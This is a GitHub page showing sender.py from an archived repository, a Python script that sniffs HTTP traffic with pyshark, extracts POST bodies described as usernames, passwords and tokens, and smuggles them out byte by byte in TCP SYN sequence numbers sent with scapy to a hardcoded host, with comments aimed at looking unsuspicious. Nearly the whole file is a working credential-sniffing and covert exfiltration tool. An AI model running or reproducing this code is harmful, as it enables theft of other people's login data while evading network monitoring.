This repository has been archived by the owner on Jul 1, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
sender.py
125 lines (105 loc) · 2.81 KB
/
sender.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import pyshark
import re
from scapy.all import *
hostIP = '10.1.1.2'
#hostIP = '204.15.135.8'
"""
This function intercepts packets and sends every POST req to checkForJewelry or sends it immediately as it is.
"""
def work(intr):
cap = pyshark.LiveCapture(interface=intr, bpf_filter='tcp port 80')
print("Started timeout=10")
cap.sniff(timeout=10)
print("Finished")
regexp = re.compile(r'POST+\s+.+\sHTTP*.*\w')
for pkt in cap:
try:
data = str(pkt.http)
if regexp.search(data):
# Payload is what has been sent.
payload = extractPayload(pkt.tcp.payload)
data = checkForJewelry(payload)
sendIt(data, payload)
except:
pass
pass
"""
This function returns "payload" as ascii
"""
def extractPayload(payload):
payload = str(payload).replace(':', '')
payloadFinal = ''
max = len(payload)
for i in range(0,max,2):
try:
chunk = int(payload[i:i+2], 16)
payloadFinal += str(chr(chunk))
except:
pass
return payloadFinal
"""
For now, it just takes everythin after \r\n\r\n
This is an advanced function that will strip the username and password from the req.
Return: Just the "Jewelry" Which coudl be username and password - Tokens - Whatever you want.
"""
def checkForJewelry(data):
data = data.split('\r\n\r\n')[1]
return data
pass
"""
This function divides the data into many chunks of 4bytes and return it as a list.
"""
def divide(data):
dataList = []
max = len(data)
for i in range(0,max,4):
chunk = data[i:i+4]
dataList.append(chunk)
return dataList
"""
This function converts the chunks to hex and send them with the same payload.
Payload is ascii string
chunk is a chunk of 4 bytes
"""
def craftHttpPacket(chunk,payload):
ISN = ''
ISN_ascii = ''
for c in chunk:
ISN = str(ord(c))
print(ISN)
sendcraftedHttpPacket(hostIP, ISN)
ISN_ascii += c
"""
Sends data to the receiver, using the same payload so that it does not look suspicious
"""
def sendIt(data,payload):
dataList = divide(data)
for chunk in dataList:
print(chunk,' Sent')
craftHttpPacket(chunk,payload)
"""
Takes payload,seq
seq = 12345
payload = "GET / HTTP/1.0\r\nHOST: testing-ground.scraping.pro\r\n\r\n"
"""
def sendcraftedHttpPacket(hostIP,seqI):
if len(hostIP) < 0:
hostIP = '204.15.135.8'
seqI = int(seqI)
seq = seqI
sport = 1040
dport = 80
# SYN
ip = IP(dst=hostIP)
SYN = TCP(sport=sport, dport=dport, flags='S', seq=seq)
SYNACK = sr1(ip / SYN)
def main():
while 1:
work('eth1')
break
print("Work() finished")
if __name__ == '__main__':
main()
# Tests:
#craftHttpPacket("usr=", "")
pass